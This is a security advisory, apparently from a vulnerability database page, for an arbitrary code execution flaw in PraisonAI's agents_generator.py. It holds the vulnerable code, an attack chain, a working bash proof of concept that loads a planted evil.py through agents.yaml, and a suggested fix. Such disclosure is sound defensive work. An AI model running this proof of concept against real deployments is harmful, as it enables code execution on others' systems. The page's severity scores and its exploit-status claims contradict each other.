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GHSA-78r8-wwqv-r299

HighCVSS 8.1 / 10

Published May 29, 2026·Last modified May 29, 2026

Affected Components(1)

praisonai

< 4.6.40

Description

<html><head></head><body><h2>Arbitrary code execution via ungated <code>spec.loader.exec_module</code> in <code>agents_generator.py</code> (v4.6.32 chokepoint refactor bypass)</h2> <h3>Summary</h3> <p>The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate to the <code>tool_override.py</code> sinks. However, <strong>two additional <code>spec.loader.exec_module</code> call sites</strong> in <code>praisonai/agents_generator.py</code> were missed and remain completely unguarded on current <code>master</code> (v4.6.37). Both functions accept a <code>module_path</code> parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.</p> <h3>Patch lineage</h3>

CVE | GHSA | Fixed in | What was patched -- | -- | -- | -- CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py This finding | — | unfixed | Missed sinks in agents_generator.py

<p>Every prior patch addressed a subset of <code>exec_module</code> call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.</p> <h3>Vulnerable code</h3> <pre><code class="language-python"># praisonai/agents_generator.py (master HEAD; v4.6.37)

336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate

372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate) </code></pre>

<p>Neither function checks <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code>. Neither validates <code>module_path</code> against an allowlist. The <code>module_path</code> value originates from YAML agent configuration (<code>agents.yaml</code>) tool definitions, which can be:</p> <ol> <li><strong>Attacker-controlled via shared/writable config directory</strong> — same CWD-plant vector as CVE-2026-40156.</li> <li><strong>Attacker-controlled via recipe/GitHub fetch</strong> — same remote trigger as CVE-2026-44334 (<code>POST /v1/recipes/run</code> with <code>allow_any_github=True</code>).</li> <li><strong>Attacker-influenced via prompt injection</strong> — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.</li> </ol> <h3>Attack chain (recipe vector)</h3> <pre><code>HTTP POST /v1/recipes/run body: {"recipe": "github:<attacker>/<repo>/<recipe>"} │ ▼ Recipe fetched → agents.yaml contains: tools: - module_path: ./evil.py # colocated in recipe dir │ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE </code></pre> <p>No <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.</p> <h3>PoC</h3> <pre><code class="language-bash">#!/usr/bin/env bash # Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37) set -euo pipefail

WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT

1. Malicious module

cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF

2. agents.yaml that references it

cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools: - evil.py YAMLEOF

3. Run

cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired "

4. Verify

MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi </code></pre>

<h3>Impact</h3> <p>Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an <code>agents.yaml</code> or colocate a <code>.py</code> file achieves code execution as the service account.</p> <h3>Severity</h3> <p><strong>High</strong> — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)</p> <p>When combined with the recipe server's default no-auth posture and <code>allow_any_github=True</code>, the attack becomes <strong>network-reachable without authentication</strong>, elevating to:</p> <p>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)</p> <h3>CWE</h3> <ul> <li>CWE-94: Improper Control of Generation of Code ('Code Injection')</li> <li>CWE-426: Untrusted Search Path</li> <li>CWE-829: Inclusion of Functionality from Untrusted Control Sphere</li> </ul> <h3>Affected versions</h3> <p>All versions containing <code>agents_generator.py</code> with these functions — at minimum <code>>= 2.0.0, <= 4.6.37</code> (current <code>master</code> HEAD).</p> <h3>Suggested fix</h3> <p>Apply the same <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate used in <code>tool_resolver.py</code> and <code>api/call.py</code> to both call sites in <code>agents_generator.py</code>:</p> <pre><code class="language-python">import os

def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ...

def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ... </code></pre>

<p>Additionally, validate <code>module_path</code> against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.</p> <h3>Credit</h3> <p>Kai Aizen & Avraham Shemesh / <a href="https://snailsploit.com/">SnailSploit</a></p></body></html>## Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass)

TL;DR

The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.

Patch lineage

| CVE | GHSA | Fixed in | What was patched | | --- | --- | --- | --- | | CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py | | CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py | | CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py | | This finding | — | unfixed | Missed sinks in agents_generator.py |

Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.

Vulnerable code

# praisonai/agents_generator.py  (master HEAD; v4.6.37)

336    def load_tools_from_module(self, module_path):
           # ...
349        spec = importlib.util.spec_from_file_location("tools_module", module_path)
350        module = importlib.util.module_from_spec(spec)
351        spec.loader.exec_module(module)               # ← NO gate

372    def load_tools_from_module_class(self, module_path):
           # ...  (same pattern — spec_from_file_location → exec_module, no gate)

Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:

Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True).
Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector)

HTTP POST /v1/recipes/run
  body: {"recipe": "github:<attacker>/<repo>/<recipe>"}
        │
        ▼
  Recipe fetched → agents.yaml contains:
    tools:
      - module_path: ./evil.py        # colocated in recipe dir
        │
        ▼
  AgentsGenerator.load_tools_from_module("./evil.py")
        │
        ▼
  agents_generator.py:349   spec = spec_from_file_location("tools_module", "./evil.py")
  agents_generator.py:351   spec.loader.exec_module(module)   ← RCE

No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.

PoC

#!/usr/bin/env bash
# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail

WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT

# 1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
                      f"praisonai_agents_gen_pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
    f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")
print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool():
    """Placeholder so tool scan finds something."""
    pass
PYEOF

# 2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC — agents_generator exec_module bypass"
roles:
  poc_agent:
    role: PoC
    goal: Trigger load_tools_from_module
    backstory: n/a
    tools:
      - evil.py
YAMLEOF

# 3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
    ai = PraisonAI(agent_file='agents.yaml')
    ai.main()
except Exception:
    pass  # downstream failure expected; exec_module already fired
"

# 4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
    echo "SUCCESS — marker file written by server process:"
    cat "$MARKER"
else
    echo "FAIL — marker not found"
    exit 1
fi

Impact

Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account.

Severity

High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)

When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

CWE

CWE-94: Improper Control of Generation of Code ('Code Injection')
CWE-426: Untrusted Search Path
CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions

All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).

Suggested fix

Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py:

import os

def load_tools_from_module(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

def load_tools_from_module_class(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.

Credit

Kai Aizen & Avraham Shemesh / [SnailSploit](https://snailsploit.com)

Risk Scores

Base Score

8.1

The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence

7.4

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS

N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit

Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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High severity

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